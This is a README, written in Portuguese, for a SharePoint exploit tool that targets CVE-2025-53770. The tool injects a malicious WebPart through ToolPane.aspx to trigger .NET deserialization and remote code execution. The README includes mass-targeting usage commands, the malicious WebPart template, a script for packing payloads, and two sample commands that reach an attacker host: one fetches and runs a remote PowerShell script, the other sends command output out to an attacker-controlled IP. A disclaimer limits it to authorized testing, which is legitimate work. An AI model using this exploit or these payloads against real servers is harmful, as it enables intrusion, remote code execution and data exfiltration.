
Ferramenta de Exploit de Injeção de WebPart do SharePoint
🍕 Ferramenta de exploit para injeção de WebPart no SharePoint via ToolPane.aspx, levando à desserialização .NET e potencial execução remota de código (RCE).
Desenvolvido por: @GOTOCVE
Esta ferramenta explora uma vulnerabilidade no Microsoft SharePoint (on-premises) que permite a usuários autenticados abusar do endpoint ToolPane.aspx e injetar WebParts maliciosas contendo objetos .NET serializados e compactados com GZIP.
O objeto injetado é colocado dentro do parâmetro MSOTlPn_SelectedWpId e incorporado em uma WebPart falsa (como <Scorecard:ExcelDataSet>) que é analisada e desserializada pelo backend do SharePoint.
| Produto | Versões Afetadas |
|---|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| Campo | Valor |
|---|---|
| Componente | Microsoft SharePoint (On-Premises) |
| Endpoint | /layouts/15/ToolPane.aspx |
| Parâmetro | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Problema | Desserialização .NET insegura |
| CVE | CVE-2025-53770 |
exploit.pyFerramenta de exploit multi-thread para SharePoint visando CVE-2025-53770.
/ToolPane.aspxYSLosf.exeGerador de Payload e Desserializador LosFormatter.

python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| Argumento | Descrição |
|---|---|
-u | URL do alvo (ex.: https://sp.company.local) |
-f | Arquivo contendo URLs de alvos (uma por linha) |
-p | Arquivo de payload ou string GZIP Base64 direta |
--proxy | Proxy opcional (ex.: http://127.0.0.1:8080) |
-t | Timeout em segundos (padrão: 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)Seu payload deve ser:
DataSet, ObjectDataProvider)LosFormatter ou BinaryFormatterIncorporado em uma WebPart como:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfColoque seu comando (ex.: reverse shell) em payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Salve a saída em payload-final.txt e passe-a para a ferramenta de exploit.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterEsta vulnerabilidade não retorna saída (ex.: ipconfig) na resposta. Você deve:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
Esta ferramenta é fornecida apenas para testes de segurança educacionais e autorizados.
Não use contra sistemas sem permissão explícita. O uso indevido pode ser ilegal e antiético.
Se um servidor vulnerável aceitar o payload e refletir MSOTlPn_SelectedWpId ou renderizar a página com a WebPart injetada, é provável que seja explorável. Nenhuma saída significa que a desserialização falhou ou que o servidor foi corrigido.
Esta ferramenta não entrega nem executa shellcode ou web shell.
Ela apenas demonstra a exploração da vulnerabilidade de desserialização .NET (CVE-2025-53770) por meio do endpoint vulnerável ToolPane.aspx, usando uma estrutura de WebPart maliciosa contendo um objeto .NET compactado com GZIP.
🔹 Propósito: ajudar pesquisadores, red teamers e defensores a detectar servidores SharePoint vulneráveis e testar o vetor de injeção com segurança usando payloads personalizados.
🔹 Payloads: a ferramenta exige que os usuários gerem seus próprios payloads (ex.: usando YSLosf.exe), que são incorporados na WebPart como strings GZIP codificadas em Base64.
É responsabilidade do usuário escolher payloads apropriados e éticos (como execução inofensiva de calc.exe, marcadores de beacon, etc.).
🔹 NENHUM Reverse Shell/Web Shell incluído:
Embora atacantes na vida real possam implantar web shells como spinstall0.aspx, este projeto não inclui nenhuma lógica desse tipo.
Se você planeja entregar um reverse shell, deve gerar seu próprio payload manualmente e assumir total responsabilidade pelo seu uso.
Junte-se a @GOTOCVE no Telegram:
Criado por Ali Soltani
Para consultas de pesquisa ou relatos de bugs, envie mensagem via Telegram